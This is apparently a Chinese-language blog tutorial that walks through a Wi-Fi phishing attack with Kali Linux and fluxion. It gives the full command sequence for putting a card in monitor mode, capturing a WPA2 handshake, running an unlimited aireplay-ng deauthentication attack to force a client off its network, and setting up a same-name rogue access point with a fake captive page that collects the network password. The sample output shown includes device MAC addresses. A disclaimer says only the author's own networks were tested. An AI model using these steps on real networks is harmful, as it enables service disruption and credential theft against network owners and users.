-
kali利用fluxion无线网络钓鱼
看了网上所有关于fluxion的钓鱼使用教程都感觉不太全，本文本是整理为了自己复习学习，初学有问题还请大佬指示。
- 测试硬件：
笔记本电脑
无限外置网卡一张
（两张网卡是必须的）
- 软件：
fluxion
airmon
- 查看网卡
airmon-ng
- 选择网卡
我用的是wlan0（wlan0为电脑自带网卡）
- 启动网卡监听
airmon-ng start wlan0
- 查看网卡监听信息
airodump-ng wlan0mon
- 选择网络信息
（图片不是本次抓包的截图）
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID E0:40:07:09:50:A8 -1 0 0 0 1 -1 <length: 0> 50:D2:F5:FE:FA:B1 -125 11 0 0 5 130 WPA2 CCMP PSK Xiaomi_FAB0 F6:D5:55:4E:09:6B -58 9 12 0 3 360 WPA2 CCMP PSK OnePlus 7 pro
- 获取握手包
airodump-ng -c (信道CH) --bssid (bssid) -w /root(握手包存放目录) wlan0mon参数：
-c 指定频道号
--bssid 指定路由器bssid
-w 指定抓取的握手包存储路径
最后是指定网卡接口
CH 3 ][ Elapsed: 2 mins ][ 2020-09-08 00:54 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID F6:D5:55:4E:09:6B -3 100 841 2360 5 3 360 WPA2 CCMP PSK OPPO K5 BSSID STATION PWR Rate Lost Frames Notes Probes F6:D5:55:4E:09:6B 26:84:7E:83:93:77 -29 0e- 1e 0 16562 EAPOL OPPO K5 F6:D5:55:4E:09:6B 4C:32:75:94:C5:15 -53 0e-24e 1616 572
- 开始攻击来获取握手报
新打开一个Shell ，之前的不要关。
aireplay-ng -0 0(攻击次数 0为无限次) -a BSSID -c (使用设备MAC地址 STATION ) wlan0mon
参数解释：
-0 攻击次数（-0 2 即攻击2次，-0 0为无限次数）
-a 指定无线路由器BSSID
-c 指定强制断开的设备
最后是指定网卡接口
root@yuan:~# aireplay-ng -0 0 -a 50:D2:F5:FE:FA:B1 -c 38:6E:A2:5C:04:EC wlan0mon
00:15:28 Waiting for beacon frame (BSSID: 50:D2:F5:FE:FA:B1) on channel 5
00:15:29 Sending 64 directed DeAuth (code 7). STMAC: [38:6E:A2:5C:04:EC] [10|65 ACKs]
00:15:29 Sending 64 directed DeAuth (code 7). STMAC: [38:6E:A2:5C:04:EC] [10|63 ACKs]
00:15:30 Sending 64 directed DeAuth (code 7). STMAC: [38:6E:A2:5C:04:EC] [ 5|61 ACKs]
等待[ WPA handshake: F6:D5:55:4E:09:6B 出现证明握手包获取完成
在保存目录里.cap结尾的为握手包
- 找到fluxion目录
./fluxion.sh- 运行fluxion
- 选择中文
（有人说中文有bug，如果英语好可以选择英语）
- 选择建立 AP （建立一个同名网络）
- 选择你想要搜索网络的网卡
- 选择信道（我一般都是所有信道）
- 扫描到你之前抓包的网络后按Ctrl+C结束扫描，填网络对应的序号回车
- 选择干扰你要钓鱼网站的网卡
- 接着无脑选择
- 选择3 流氓AP - hostapd
到这里最开始抓到握手包的用处来了
把你刚才抓到的握手包后缀为.cap的文件目录填上（直接拖拽最快）
回车
- 选择cowpatty验证
- 选择创建SSL证书
- 选择断开原网络
- 选择自己制作的钓鱼页面
出现这个页面证明钓鱼WIFI开始工作了，扫描WIFI原网络已经无法连接了只能自动连接我们自己伪造的同名AP
手机连接成功后自动弹窗输入密码后进行验证，右上角的框会有提示，生成一个文件里边有密码和网络信息
- 最后成果
本次测试钓鱼网络均为自己的网络，本文章仅供学习使用。
